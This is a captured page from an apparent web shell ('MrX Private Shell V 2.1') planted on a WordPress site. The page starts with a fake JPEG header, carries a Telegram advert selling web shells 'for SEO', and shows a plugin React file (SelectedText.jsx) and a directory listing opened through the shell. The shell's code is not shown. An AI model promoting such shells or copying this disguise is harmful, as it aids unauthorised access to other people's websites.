����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { useSelectedText } from '@draft/hooks/useSelectedText';
import { store as blockEditorStore } from '@wordpress/block-editor';
import { Button } from '@wordpress/components';
import { useDispatch } from '@wordpress/data';
import { useEffect, useState } from '@wordpress/element';
import { __, isRTL } from '@wordpress/i18n';
import { Icon, pencil, trash } from '@wordpress/icons';
export const SelectedText = ({ loading }) => {
const [text, setText] = useState();
const { clearSelectedBlock } = useDispatch(blockEditorStore);
const { selectedText } = useSelectedText();
useEffect(() => {
setText(selectedText);
}, [setText, selectedText]);
if (!text) return;
const truncatedText = () => {
const preformat = text.split(' ');
if (preformat.length <= 20) return text;
return `${text.split(' ', 14).join(' ')}... ${text.slice(
text.lastIndexOf(' ') - 14,
)}`;
};
return (
<div
className="mb-4 flex space-x-2 overflow-hidden rounded-xs border-none bg-gray-100 p-3"
data-test="existing-text-container"
>
<div>
<Icon icon={pencil} className="fill-current" />
</div>
<div>
<div
className="mb-1 hyphens-auto text-pretty text-gray-800"
dangerouslySetInnerHTML={{
__html: truncatedText(),
}}
/>
<div className="mt-3 flex w-full justify-end">
<Button
size="compact"
onClick={clearSelectedBlock}
disabled={loading}
icon={trash}
iconPosition={isRTL() ? 'right' : 'left'}
className="relative flex-row-reverse rounded-sm bg-gray-300 text-gray-800 hover:bg-gray-400"
data-test="remove-selection"
>
{__('Remove selection', 'extendify-local')}
</Button>
</div>
</div>
</div>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| image-generation | Folder | 0755 |
|
|
| stock-images | Folder | 0755 |
|
|
| Completion.jsx | File | 616 B | 0644 |
|
| ConsentSidebar.jsx | File | 769 B | 0644 |
|
| DraftMenu.jsx | File | 1.22 KB | 0644 |
|
| DynamicTextarea.jsx | File | 2.15 KB | 0644 |
|
| EditMenu.jsx | File | 2.36 KB | 0644 |
|
| GenerateImageButtons.jsx | File | 5.47 KB | 0644 |
|
| Input.jsx | File | 2.52 KB | 0644 |
|
| InsertMenu.jsx | File | 7.46 KB | 0644 |
|
| SelectedText.jsx | File | 1.69 KB | 0644 |
|
| ToolbarMenu.jsx | File | 5.04 KB | 0644 |
|
| TranslationDropdown.jsx | File | 6.34 KB | 0644 |
|